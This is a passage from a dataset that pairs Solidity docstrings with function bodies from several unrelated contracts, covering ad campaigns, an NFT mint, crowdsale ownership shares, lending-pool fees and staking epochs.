the campaign is valid\r\n @param owner Address of the campaing's owner\r\n */", "function_code": "function _setCampaign (\r\n bytes32 bidId,\r\n uint price,\r\n uint budget,\r\n uint startDate,\r\n uint endDate,\r\n bool valid,\r\n address owner\r\n )\r\n public\r\n onlyIfWhitelisted(\"setCampaign\",msg.sender) {\r\n\r\n CampaignLibrary.Campaign storage campaign = campaigns[bidId];\r\n campaign.setBidId(bidId);\r\n campaign.setPrice(price);\r\n campaign.setBudget(budget);\r\n campaign.setStartDate(startDate);\r\n campaign.setEndDate(endDate);\r\n campaign.setValidity(valid);\r\n\r\n bool newCampaign = (campaigns[bidId].getOwner() == 0x0);\r\n\r\n campaign.setOwner(owner);\r\n\r\n\r\n\r\n if(newCampaign){\r\n emitCampaignCreated(campaign);\r\n setLastBidId(bidId);\r\n } else {\r\n emitCampaignUpdated(campaign);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Get a Campaign information\r\n \r\n Based on a camapaign Id (bidId), returns all stored information for that campaign.\r\n @param _campaignId Id of the campaign\r\n @return {\r\n \"_bidId\" : \"Id of the campaign\",\r\n \"_price\" : \"Value to pay for each proof-of-attention\",\r\n \"_budget\" : \"Total value avaliable to be spent on the campaign\",\r\n \"_startDate\" : \"Start date of the campaign (in miliseconds)\",\r\n \"_endDate\" : \"End date of the campaign (in miliseconds)\"\r\n \"_valid\" : \"Boolean informing if the campaign is valid\",\r\n \"_campOwner\" : \"Address of the campaing's owner\",\r\n }\r\n */", "function_code": "function getCampaign(bytes32 _campaignId)\r\n public\r\n view\r\n returns (\r\n bytes32 _bidId,\r\n uint _price,\r\n uint _budget,\r\n uint _startDate,\r\n uint _endDate,\r\n bool _valid,\r\n address _campOwner\r\n ) {\r\n\r\n CampaignLibrary.Campaign storage campaign = _getCampaign(_campaignId);\r\n\r\n return (\r\n campaign.getBidId(),\r\n campaign.getPrice(),\r\n campaign.getBudget(),\r\n campaign.getStartDate(),\r\n campaign.getEndDate(),\r\n campaign.getValidity(),\r\n campaign.getOwner()\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Upgrade finance contract used by this contract\r\n \r\n This function is part of the upgrade mechanism avaliable to the advertisement contracts.\r\n Using this function it is possible to update to a new Advertisement Finance contract without\r\n the need to cancel avaliable campaigns.\r\n Upgrade finance function can only be called by the Advertisement contract owner.\r\n @param addrAdverFinance Address of the new Advertisement Finance contract\r\n */", "function_code": "function upgradeFinance (address addrAdverFinance) public onlyOwner(\"upgradeFinance\") {\r\n BaseFinance newAdvFinance = BaseFinance(addrAdverFinance);\r\n\r\n address[] memory devList = advertisementFinance.getUserList();\r\n \r\n for(uint i = 0; i < devList.length; i++){\r\n uint balance = advertisementFinance.getUserBalance(devList[i]);\r\n newAdvFinance.increaseBalance(devList[i],balance);\r\n }\r\n \r\n uint256 initBalance = appc.balanceOf(address(advertisementFinance));\r\n advertisementFinance.transferAllFunds(address(newAdvFinance));\r\n uint256 oldBalance = appc.balanceOf(address(advertisementFinance));\r\n uint256 newBalance = appc.balanceOf(address(newAdvFinance));\r\n \r\n require(initBalance == newBalance);\r\n require(oldBalance == 0);\r\n advertisementFinance = newAdvFinance;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Creates a campaign \r\n \r\n Method to create a campaign of user aquisition for a certain application.\r\n This method will emit a Campaign Information event with every information \r\n provided in the arguments of this method.\r\n @param packageName Package name of the appication subject to the user aquisition campaign\r\n @param countries Encoded list of 3 integers intended to include every \r\n county where this campaign will be avaliable.\r\n For more detain on this encoding refer to wiki documentation.\r\n @param vercodes List of version codes to which the user aquisition campaign is applied.\r\n @param price Value (in wei) the campaign owner pays for each proof-of-attention.\r\n @param budget Total budget (in wei) the campaign owner will deposit \r\n to pay for the proof-of-attention.\r\n @param startDate Date (in miliseconds) on which the campaign will start to be \r\n avaliable to users.\r\n @param endDate Date (in miliseconds) on which the campaign will no longer be avaliable to users.\r\n */", "function_code": "function _generateCampaign (\r\n string packageName,\r\n uint[3] countries,\r\n uint[] vercodes,\r\n uint price,\r\n uint budget,\r\n uint startDate,\r\n uint endDate)\r\n internal returns (CampaignLibrary.Campaign memory) {\r\n\r\n require(budget >= price);\r\n require(endDate >= startDate);\r\n\r\n\r\n //Transfers the budget to contract address\r\n if(appc.allowance(msg.sender, address(this)) >= budget){\r\n appc.transferFrom(msg.sender, address(advertisementFinance), budget);\r\n\r\n advertisementFinance.increaseBalance(msg.sender,budget);\r\n\r\n uint newBidId = bytesToUint(lastBidId);\r\n lastBidId = uintToBytes(++newBidId);\r\n \r\n\r\n CampaignLibrary.Campaign memory newCampaign;\r\n newCampaign.price = price;\r\n newCampaign.startDate = startDate;\r\n newCampaign.endDate = endDate;\r\n newCampaign.budget = budget;\r\n newCampaign.owner = msg.sender;\r\n newCampaign.valid = true;\r\n newCampaign.bidId = lastBidId;\r\n } else {\r\n emit Error(\"createCampaign\",\"Not enough allowance\");\r\n }\r\n \r\n return newCampaign;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Cancel a campaign and give the remaining budget to the campaign owner\r\n \r\n When a campaing owner wants to cancel a campaign, the campaign owner needs\r\n to call this function. This function can only be called either by the campaign owner or by\r\n the Advertisement contract owner. This function results in campaign cancelation and\r\n retreival of the remaining budget to the respective campaign owner.\r\n @param bidId Campaign id to which the cancelation referes to\r\n */", "function_code": "function cancelCampaign (bytes32 bidId) public {\r\n address campaignOwner = getOwnerOfCampaign(bidId);\r\n\r\n\t\t// Only contract owner or campaign owner can cancel a campaign\r\n require(owner == msg.sender || campaignOwner == msg.sender);\r\n uint budget = getBudgetOfCampaign(bidId);\r\n\r\n advertisementFinance.withdraw(campaignOwner, budget);\r\n\r\n advertisementStorage.setCampaignBudgetById(bidId, 0);\r\n advertisementStorage.setCampaignValidById(bidId, false);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Check if a certain campaign is still valid\r\n \r\n Returns a boolean representing the validity of the campaign\r\n Has value of True if the campaign is still valid else has value of False\r\n @param bidId Campaign id to which the query refers\r\n @return { \"valid\" : \"validity of the campaign\" }\r\n */", "function_code": "function isCampaignValid(bytes32 bidId) public view returns(bool valid) {\r\n uint startDate = advertisementStorage.getCampaignStartDateById(bidId);\r\n uint endDate = advertisementStorage.getCampaignEndDateById(bidId);\r\n bool validity = advertisementStorage.getCampaignValidById(bidId);\r\n\r\n uint nowInMilliseconds = now * 1000;\r\n return validity && startDate < nowInMilliseconds && endDate > nowInMilliseconds;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice splitSignature\r\n \r\n Based on a signature Sig (bytes32), returns the r, s, v\r\n @param sig Signature\r\n @return {\r\n \"uint8\" : \"recover Id\",\r\n \"bytes32\" : \"Output of the ECDSA signature\",\r\n \"bytes32\" : \"Output of the ECDSA signature\",\r\n }\r\n */", "function_code": "function splitSignature(bytes sig)\r\n internal\r\n pure\r\n returns (uint8, bytes32, bytes32)\r\n {\r\n require(sig.length == 65);\r\n\r\n bytes32 r;\r\n bytes32 s;\r\n uint8 v;\r\n\r\n assembly {\r\n // first 32 bytes, after the length prefix\r\n r := mload(add(sig, 32))\r\n // second 32 bytes\r\n s := mload(add(sig, 64))\r\n // final byte (first byte of the next 32 bytes)\r\n v := byte(0, mload(add(sig, 96)))\r\n }\r\n\r\n return (v, r, s);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Sets the Advertisement contract address to allow calls from Advertisement contract\r\n \r\n This function is used for upgrading the Advertisement contract without need to redeploy \r\n Advertisement Finance and Advertisement Storage contracts. The function can only be called \r\n by this contract's owner. During the update of the Advertisement contract address, the \r\n contract for Advertisement Storage used by the new Advertisement contract is checked. \r\n This function reverts if the new Advertisement contract does not use the same Advertisement \r\n Storage contract earlier registered in this Advertisement Finance contract.\r\n @param _addr Address of the newly allowed contract \r\n */", "function_code": "function setAllowedAddress (address _addr) public onlyOwner(\"setAllowedAddress\") {\r\n // Verify if the new Ads contract is using the same storage as before \r\n if (allowedAddress != 0x0){\r\n StorageUser storageUser = StorageUser(_addr);\r\n address storageContract = storageUser.getStorageAddress();\r\n require (storageContract == advStorageContract);\r\n }\r\n \r\n //Update contract\r\n super.setAllowedAddress(_addr);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Creates an extebded campaign\r\n */", "function_code": "function createCampaign (\r\n string packageName,\r\n uint[3] countries,\r\n uint[] vercodes,\r\n uint price,\r\n uint budget,\r\n uint startDate,\r\n uint endDate,\r\n string endPoint)\r\n external\r\n {\r\n\r\n CampaignLibrary.Campaign memory newCampaign = _generateCampaign(packageName, countries, vercodes, price, budget, startDate, endDate);\r\n\r\n if(newCampaign.owner == 0x0){\r\n // campaign was not generated correctly (revert)\r\n return;\r\n }\r\n\r\n _getBidIdList().push(newCampaign.bidId);\r\n\r\n ExtendedAdvertisementStorage(address(_getStorage())).setCampaign(\r\n newCampaign.bidId,\r\n newCampaign.price,\r\n newCampaign.budget,\r\n newCampaign.startDate,\r\n newCampaign.endDate,\r\n newCampaign.valid,\r\n newCampaign.owner,\r\n endPoint);\r\n\r\n emit CampaignInformation(\r\n newCampaign.bidId,\r\n newCampaign.owner,\r\n \"\", // ipValidator field\r\n packageName,\r\n countries,\r\n vercodes,\r\n endPoint);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @notice Function to submit in bulk PoAs\r\n @param bidId Campaign id for which the Proof of attention root hash refferes to\r\n @param rootHash Root hash of all submitted proof of attention to a given campaign\r\n @param signedRootHash Root hash signed by the signing service of the campaign\r\n @param newHashes Number of new proof of attention hashes since last submission\r\n */", "function_code": "function bulkRegisterPoA(bytes32 bidId, bytes32 rootHash, bytes signedRootHash, uint256 newHashes)\r\n public\r\n onlyIfWhitelisted(\"createCampaign\",msg.sender)\r\n {\r\n\r\n /* address addressSig = recoverSigner(rootHash, signedRootHash); */\r\n\r\n /* if (msg.sender != addressSig) {\r\n emit Error(\"bulkRegisterPoA\",\"Invalid signature\");\r\n return;\r\n } */\r\n\r\n uint price = _getStorage().getCampaignPriceById(bidId);\r\n uint budget = _getStorage().getCampaignBudgetById(bidId);\r\n address owner = _getStorage().getCampaignOwnerById(bidId);\r\n uint maxConversions = division(budget,price);\r\n uint effectiveConversions;\r\n uint totalPay;\r\n uint newBudget;\r\n\r\n if (maxConversions >= newHashes){\r\n effectiveConversions = newHashes;\r\n } else {\r\n effectiveConversions = maxConversions;\r\n }\r\n\r\n totalPay = price*effectiveConversions;\r\n newBudget = budget - totalPay;\r\n\r\n _getFinance().pay(owner,msg.sender,totalPay);\r\n _getStorage().setCampaignBudgetById(bidId,newBudget);\r\n\r\n if(newBudget < price){\r\n _getStorage().setCampaignValidById(bidId,false);\r\n }\r\n\r\n emit BulkPoARegistered(bidId,rootHash,signedRootHash,newHashes,effectiveConversions);\r\n }", "version": "0.4.24"} {"comment": "/** ========== main functions ========== */", "function_code": "function mint() external payable nonReentrant returns (uint256) {\r\n\r\n require(!userMinted[_msgSender()], \"mint: you have claimed one token\");\r\n require(usertokenCounters.current() < MAX_AMOUNT_USER, \"mint: all tokens have been minted\");\r\n // users must pay for the NFT\r\n require(msg.value >= META_PRICE, \"mint: not enough to pay\");\r\n\r\n usertokenCounters.increment();\r\n uint256 mintingTokenId = usertokenCounters.current();\r\n\r\n // data update\r\n userMinted[_msgSender()] = true;\r\n\r\n // mint\r\n _safeMint(_msgSender(), mintingTokenId);\r\n\r\n emit claimed(_msgSender(), mintingTokenId);\r\n\r\n return mintingTokenId;\r\n }", "version": "0.8.7"} {"comment": "/** ========== internal mutative functions ========= */", "function_code": "function _claim(address receiver) internal { \r\n require(receiver != address(0), \"claim: invalid address\"); \r\n \r\n ownertokenCounters.increment();\r\n uint256 mintId = ownertokenCounters.current() + MAX_AMOUNT_USER;\r\n require(mintId > MAX_AMOUNT_USER && mintId <= MAX_AMOUNT, \"ownerClaim: all tokens have been claimed\");\r\n\r\n // mint\r\n _safeMint(receiver, mintId);\r\n\r\n emit claimed(receiver, mintId);\r\n }", "version": "0.8.7"} {"comment": "/// @dev Adds Distribution. This function doesn't limit max gas consumption,\n/// so adding too many investors can cause it to reach the out-of-gas error.\n/// @param _beneficiary The address of distribution.\n/// @param _tokensAllotment The amounts of the tokens that belong to each investor.", "function_code": "function _addDistribution(\r\n address _beneficiary,\r\n DistributionType _distributionType,\r\n uint256 _tokensAllotment\r\n ) internal {\r\n require(_beneficiary != address(0), \"Invalid address\");\r\n require(\r\n _tokensAllotment > 0,\r\n \"the investor allocation must be more than 0\"\r\n );\r\n Distribution storage distribution = distributionInfo[_distributionType];\r\n\r\n require(distribution.tokensAllotment == 0, \"investor already added\");\r\n\r\n distribution.beneficiary = _beneficiary;\r\n distribution.tokensAllotment = _tokensAllotment;\r\n distribution.distributionType = _distributionType;\r\n\r\n emit DistributionAdded(_beneficiary, _msgSender(), _tokensAllotment);\r\n }", "version": "0.8.0"} {"comment": "// Check if current block's base fee is under max allowed base fee", "function_code": "function isCurrentBaseFeeAcceptable() public view returns (bool) {\r\n uint256 baseFee;\r\n try baseFeeProvider.basefee_global() returns (uint256 currentBaseFee) {\r\n baseFee = currentBaseFee;\r\n } catch {\r\n // Useful for testing until ganache supports london fork\r\n // Hard-code current base fee to 1000 gwei\r\n // This should also help keepers that run in a fork without\r\n // baseFee() to avoid reverting and potentially abandoning the job\r\n baseFee = 1000 * 1e9;\r\n }\r\n\r\n return baseFee <= maxAcceptableBaseFee;\r\n }", "version": "0.6.12"} {"comment": "/**\n * @notice Applies accrued interest to total borrows and reserves\n * @dev This calculates interest accrued from the last checkpointed block\n * up to the current block and writes new checkpoint to storage.\n */", "function_code": "function accrueInterest() public returns (uint) {\n /* Remember the initial block number */\n uint currentBlockNumber = getBlockNumber();\n\n /* Short-circuit accumulating 0 interest */\n if (accrualBlockNumber == currentBlockNumber) {\n return uint(Error.NO_ERROR);\n }\n\n /* Read the previous values out of storage */\n uint cashPrior = getCashPrior();\n\n /* Calculate the current borrow interest rate */\n uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, totalBorrows, add_(totalReserves, add_(totalAdminFees, totalFuseFees)));\n require(borrowRateMantissa <= borrowRateMaxMantissa, \"borrow rate is absurdly high\");\n\n /* Calculate the number of blocks elapsed since the last accrual */\n (MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumber);\n require(mathErr == MathError.NO_ERROR, \"could not calculate block delta\");\n\n return finishInterestAccrual(currentBlockNumber, cashPrior, borrowRateMantissa, blockDelta);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Reduces reserves by transferring to admin\n * @dev Requires fresh interest accrual\n * @param reduceAmount Amount of reduction to reserves\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {\n // totalReserves - reduceAmount\n uint totalReservesNew;\n\n // Check caller is admin\n if (!hasAdminRights()) {\n return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);\n }\n\n // We fail gracefully unless market's block number equals current block number\n if (accrualBlockNumber != getBlockNumber()) {\n return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);\n }\n\n // Fail gracefully if protocol has insufficient underlying cash\n if (getCashPrior() < reduceAmount) {\n return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);\n }\n\n // Check reduceAmount \u2264 reserves[n] (totalReserves)\n if (reduceAmount > totalReserves) {\n return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);\n }\n\n /////////////////////////\n // EFFECTS & INTERACTIONS\n // (No safe failures beyond this point)\n\n // We checked reduceAmount <= totalReserves above, so this should never revert.\n totalReservesNew = sub_(totalReserves, reduceAmount);\n\n // Store reserves[n+1] = reserves[n] - reduceAmount\n totalReserves = totalReservesNew;\n\n // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.\n doTransferOut(msg.sender, reduceAmount);\n\n emit ReservesReduced(msg.sender, reduceAmount, totalReservesNew);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Accrues interest and reduces Fuse fees by transferring to Fuse\n * @param withdrawAmount Amount of fees to withdraw\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _withdrawFuseFees(uint withdrawAmount) external nonReentrant(false) returns (uint) {\n uint error = accrueInterest();\n if (error != uint(Error.NO_ERROR)) {\n // accrueInterest emits logs on errors, but on top of that we want to log the fact that an attempted Fuse fee withdrawal failed.\n return fail(Error(error), FailureInfo.WITHDRAW_FUSE_FEES_ACCRUE_INTEREST_FAILED);\n }\n // _withdrawFuseFeesFresh emits reserve-reduction-specific logs on errors, so we don't need to.\n return _withdrawFuseFeesFresh(withdrawAmount);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice Reduces Fuse fees by transferring to Fuse\n * @dev Requires fresh interest accrual\n * @param withdrawAmount Amount of fees to withdraw\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _withdrawFuseFeesFresh(uint withdrawAmount) internal returns (uint) {\n // totalFuseFees - reduceAmount\n uint totalFuseFeesNew;\n\n // We fail gracefully unless market's block number equals current block number\n if (accrualBlockNumber != getBlockNumber()) {\n return fail(Error.MARKET_NOT_FRESH, FailureInfo.WITHDRAW_FUSE_FEES_FRESH_CHECK);\n }\n\n // Fail gracefully if protocol has insufficient underlying cash\n if (getCashPrior() < withdrawAmount) {\n return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_FUSE_FEES_CASH_NOT_AVAILABLE);\n }\n\n // Check withdrawAmount \u2264 fuseFees[n] (totalFuseFees)\n if (withdrawAmount > totalFuseFees) {\n return fail(Error.BAD_INPUT, FailureInfo.WITHDRAW_FUSE_FEES_VALIDATION);\n }\n\n /////////////////////////\n // EFFECTS & INTERACTIONS\n // (No safe failures beyond this point)\n\n // We checked withdrawAmount <= totalFuseFees above, so this should never revert.\n totalFuseFeesNew = sub_(totalFuseFees, withdrawAmount);\n\n // Store fuseFees[n+1] = fuseFees[n] - withdrawAmount\n totalFuseFees = totalFuseFeesNew;\n\n // doTransferOut reverts if anything goes wrong, since we can't be sure if side effects occurred.\n doTransferOut(address(fuseAdmin), withdrawAmount);\n\n return uint(Error.NO_ERROR);\n }", "version": "0.5.17"} {"comment": "/**\n * @notice updates the cToken ERC20 name and symbol\n * @dev Admin function to update the cToken ERC20 name and symbol\n * @param _name the new ERC20 token name to use\n * @param _symbol the new ERC20 token symbol to use\n * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)\n */", "function_code": "function _setNameAndSymbol(string calldata _name, string calldata _symbol) external {\n // Check caller is admin\n require(hasAdminRights(), \"caller not admin\");\n\n // Set ERC20 name and symbol\n name = _name;\n symbol = _symbol;\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Performs a Solidity function call using a low level `call`. A\n * plain `call` is an unsafe replacement for a function call: use this\n * function instead.\n * If `target` reverts with a revert reason, it is bubbled up by this\n * function (like regular Solidity function calls).\n * Returns the raw returned data. To convert to the expected return value,\n * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].\n * @param data The call data (encoded using abi.encode or one of its variants).\n * @param errorMessage The revert string to return on failure.\n */", "function_code": "function _functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {\n (bool success, bytes memory returndata) = target.call(data);\n\n if (!success) {\n // Look for revert reason and bubble it up if present\n if (returndata.length > 0) {\n // The easiest way to bubble the revert reason is using memory via assembly\n\n // solhint-disable-next-line no-inline-assembly\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n\n return returndata;\n }", "version": "0.5.17"} {"comment": "/**\r\n @dev Registers a new contribution, sets their share\r\n @param _sender The address of the wallet contributing\r\n @param _amount The amount that the owner has sent\r\n */", "function_code": "function contribute(address _sender, uint256 _amount) private {\r\n require(!locked, \"Crowdsale period over, contribution is locked\");\r\n require(!distributionActive, \"Cannot contribute when distribution is active\");\r\n require(_amount >= precisionMinimum, \"Amount needs to be above the minimum contribution\");\r\n require(hardCap >= _amount, \"Your contribution is greater than the hard cap\");\r\n require(_amount % precisionMinimum == 0, \"Your amount isn't divisible by the minimum precision\");\r\n require(hardCap >= totalContributed.add(_amount), \"Your contribution would cause the total to exceed the hardcap\");\r\n\r\n totalContributed = totalContributed.add(_amount);\r\n uint256 share = percent(_amount, valuation, 5);\r\n\r\n Owner storage o = owners[_sender];\r\n if (o.percentage != 0) { // Existing owner\r\n o.shareTokens = o.shareTokens.add(_amount);\r\n o.percentage = o.percentage.add(share);\r\n } else { // New owner\r\n require(ownerMap.insert(totalOwners, uint(_sender)) == false);\r\n o.key = totalOwners;\r\n totalOwners += 1;\r\n o.shareTokens = _amount;\r\n o.percentage = share;\r\n }\r\n\r\n if (!whitelist[msg.sender]) {\r\n whitelist[msg.sender] = true;\r\n }\r\n\r\n emit Contribution(_sender, share, _amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Manually set a share directly, used to set the LinkPool members as owners\r\n @param _owner Wallet address of the owner\r\n @param _value The equivalent contribution value\r\n */", "function_code": "function setOwnerShare(address _owner, uint256 _value) public onlyOwner() {\r\n require(!locked, \"Can't manually set shares, it's locked\");\r\n require(!distributionActive, \"Cannot set owners share when distribution is active\");\r\n\r\n Owner storage o = owners[_owner];\r\n if (o.shareTokens == 0) {\r\n whitelist[_owner] = true;\r\n require(ownerMap.insert(totalOwners, uint(_owner)) == false);\r\n o.key = totalOwners;\r\n totalOwners += 1;\r\n }\r\n o.shareTokens = _value;\r\n o.percentage = percent(_value, valuation, 5);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Transfer part or all of your ownership to another address\r\n @param _receiver The address that you're sending to\r\n @param _amount The amount of ownership to send, for your balance refer to `ownerShareTokens`\r\n */", "function_code": "function sendOwnership(address _receiver, uint256 _amount) public onlyWhitelisted() {\r\n Owner storage o = owners[msg.sender];\r\n Owner storage r = owners[_receiver];\r\n\r\n require(o.shareTokens > 0, \"You don't have any ownership\");\r\n require(o.shareTokens >= _amount, \"The amount exceeds what you have\");\r\n require(!distributionActive, \"Distribution cannot be active when sending ownership\");\r\n require(_amount % precisionMinimum == 0, \"Your amount isn't divisible by the minimum precision amount\");\r\n\r\n o.shareTokens = o.shareTokens.sub(_amount);\r\n\r\n if (o.shareTokens == 0) {\r\n o.percentage = 0;\r\n require(ownerMap.remove(o.key) == true);\r\n } else {\r\n o.percentage = percent(o.shareTokens, valuation, 5);\r\n }\r\n if (r.shareTokens == 0) {\r\n whitelist[_receiver] = true;\r\n require(ownerMap.insert(totalOwners, uint(_receiver)) == false);\r\n totalOwners += 1;\r\n }\r\n r.shareTokens = r.shareTokens.add(_amount);\r\n r.percentage = r.percentage.add(percent(_amount, valuation, 5));\r\n\r\n emit OwnershipTransferred(msg.sender, _receiver, _amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Start the distribution phase in the contract so owners can claim their tokens\r\n @param _token The token address to start the distribution of\r\n */", "function_code": "function distributeTokens(address _token) public onlyWhitelisted() {\r\n require(!distributionActive, \"Distribution is already active\");\r\n distributionActive = true;\r\n\r\n ERC677 erc677 = ERC677(_token);\r\n\r\n uint256 currentBalance = erc677.balanceOf(this) - tokenBalance[_token];\r\n require(currentBalance > distributionMinimum, \"Amount in the contract isn't above the minimum distribution limit\");\r\n\r\n totalDistributions++;\r\n Distribution storage d = distributions[totalDistributions]; \r\n d.owners = ownerMap.size();\r\n d.amount = currentBalance;\r\n d.token = _token;\r\n d.claimed = 0;\r\n totalReturned[_token] += currentBalance;\r\n\r\n emit TokenDistributionActive(_token, currentBalance, totalDistributions, d.owners);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Claim tokens by a owner address to add them to their balance\r\n @param _owner The address of the owner to claim tokens for\r\n */", "function_code": "function claimTokens(address _owner) public {\r\n Owner storage o = owners[_owner];\r\n Distribution storage d = distributions[totalDistributions]; \r\n\r\n require(o.shareTokens > 0, \"You need to have a share to claim tokens\");\r\n require(distributionActive, \"Distribution isn't active\");\r\n require(!d.claimedAddresses[_owner], \"Tokens already claimed for this address\");\r\n\r\n address token = d.token;\r\n uint256 tokenAmount = d.amount.mul(o.percentage).div(100000);\r\n o.balance[token] = o.balance[token].add(tokenAmount);\r\n tokenBalance[token] = tokenBalance[token].add(tokenAmount);\r\n\r\n d.claimed++;\r\n d.claimedAddresses[_owner] = true;\r\n\r\n emit ClaimedTokens(_owner, token, tokenAmount, d.claimed, totalDistributions);\r\n\r\n if (d.claimed == d.owners) {\r\n distributionActive = false;\r\n emit TokenDistributionComplete(token, totalOwners);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Withdraw tokens from your contract balance\r\n @param _token The token address for token claiming\r\n @param _amount The amount of tokens to withdraw\r\n */", "function_code": "function withdrawTokens(address _token, uint256 _amount) public {\r\n require(_amount > 0, \"You have requested for 0 tokens to be withdrawn\");\r\n\r\n Owner storage o = owners[msg.sender];\r\n Distribution storage d = distributions[totalDistributions]; \r\n\r\n if (distributionActive && !d.claimedAddresses[msg.sender]) {\r\n claimTokens(msg.sender);\r\n }\r\n require(o.balance[_token] >= _amount, \"Amount requested is higher than your balance\");\r\n\r\n o.balance[_token] = o.balance[_token].sub(_amount);\r\n tokenBalance[_token] = tokenBalance[_token].sub(_amount);\r\n\r\n ERC677 erc677 = ERC677(_token);\r\n require(erc677.transfer(msg.sender, _amount) == true);\r\n\r\n emit TokenWithdrawal(_token, msg.sender, _amount);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n @dev Credit to Rob Hitchens: https://stackoverflow.com/a/42739843\r\n */", "function_code": "function percent(uint numerator, uint denominator, uint precision) private pure returns (uint quotient) {\r\n uint _numerator = numerator * 10 ** (precision+1);\r\n uint _quotient = ((_numerator / denominator) + 5) / 10;\r\n return ( _quotient);\r\n }", "version": "0.4.24"} {"comment": "//depositRate /1000", "function_code": "function getDepositRate(uint value, uint day) public view returns(uint){\r\n if(day == 5){\r\n if(value >= 1 * ethWei && value <= 3 * ethWei){\r\n return 8;\r\n }\r\n if(value >= 4 * ethWei && value <= 6 * ethWei){\r\n return 10;\r\n }\r\n if(value >= 7 * ethWei && value <= 10 * ethWei){\r\n return 12;\r\n }\r\n }\r\n return 0;\r\n }", "version": "0.4.26"} {"comment": "//shareLevel ", "function_code": "function getShareLevel(uint value) public view returns(uint){\r\n if(value >=1 * ethWei && value <=3 * ethWei){\r\n return 1;\r\n }\r\n if(value >=4 * ethWei && value<=6 * ethWei){\r\n return 2;\r\n }\r\n if(value >=7 * ethWei && value <=10 * ethWei){\r\n return 3;\r\n }\r\n }", "version": "0.4.26"} {"comment": "//shareRate /100", "function_code": "function getShareRate(uint level,uint times) public view returns(uint){\r\n if(level == 1 && times == 1){ \r\n \r\n return 50;\r\n \r\n }if(level == 2 && times == 1){\r\n \r\n return 50;\r\n \r\n }if(level == 2 && times == 2){\r\n \r\n return 20;\r\n \r\n }if(level == 2 && times == 3){\r\n \r\n return 10;\r\n \r\n }\r\n if(level == 3) {\r\n if(times == 1){\r\n \r\n return 70;\r\n \r\n }if(times == 2){\r\n \r\n return 30;\r\n \r\n }if(times == 3){\r\n \r\n return 20;\r\n \r\n }if(times >= 4){\r\n \r\n return 10;\r\n \r\n }if(times >= 5 && times <= 10){\r\n \r\n return 5;\r\n \r\n }if(times >= 11 && times <=20){\r\n \r\n return 3;\r\n \r\n }if(times >= 21){\r\n \r\n return 1;\r\n \r\n }\r\n } \r\n return 0;\r\n \r\n }", "version": "0.4.26"} {"comment": "/*\n * manualEpochInit can be used by anyone to initialize an epoch based on the previous one\n * This is only applicable if there was no action (deposit/withdraw) in the current epoch.\n * Any deposit and withdraw will automatically initialize the current and next epoch.\n */", "function_code": "function manualEpochInit(address[] memory tokens, uint128 epochId) public whenNotPaused {\n require(epochId <= getCurrentEpoch(), \"STK:E-306\");\n\n\n for (uint i = 0; i < tokens.length; i++) {\n Pool storage p = poolSize[tokens[i]][epochId];\n if (epochId == 0) {\n p.size = uint256(0);\n p.set = true;\n } else {\n require(!epochIsInitialized(tokens[i], epochId), \"STK:E-002\");\n require(epochIsInitialized(tokens[i], epochId - 1), \"STK:E-305\");\n p.size = poolSize[tokens[i]][epochId - 1].size;\n p.set = true;\n }\n }\n\n emit ManualEpochInit(msg.sender, epochId, tokens);\n }", "version": "0.6.12"} {"comment": "/*\n * Returns the valid balance of a user that was taken into consideration in the total pool size for the epoch\n * A deposit will only change the next epoch balance.\n * A withdraw will decrease the current epoch (and subsequent) balance.\n */", "function_code": "function getEpochUserBalance(address user, address token, uint128 epochId) public view returns (uint256) {\n Checkpoint[] storage checkpoints = balanceCheckpoints[user][token];\n\n // if there are no checkpoints, it means the user never deposited any tokens, so the balance is 0\n if (checkpoints.length == 0 || epochId < checkpoints[0].epochId) {\n return 0;\n }\n\n uint min = 0;\n uint max = checkpoints.length - 1;\n\n // shortcut for blocks newer than the latest checkpoint == current balance\n if (epochId >= checkpoints[max].epochId) {\n return getCheckpointEffectiveBalance(checkpoints[max]);\n }\n\n // binary search of the value in the array\n while (max > min) {\n uint mid = (max + min + 1) / 2;\n if (checkpoints[mid].epochId <= epochId) {\n min = mid;\n } else {\n max = mid - 1;\n }\n }\n\n return getCheckpointEffectiveBalance(checkpoints[min]);\n }", "version": "0.6.12"} {"comment": "/*\n * Returns the total amount of `tokenAddress` that was locked from beginning to end of 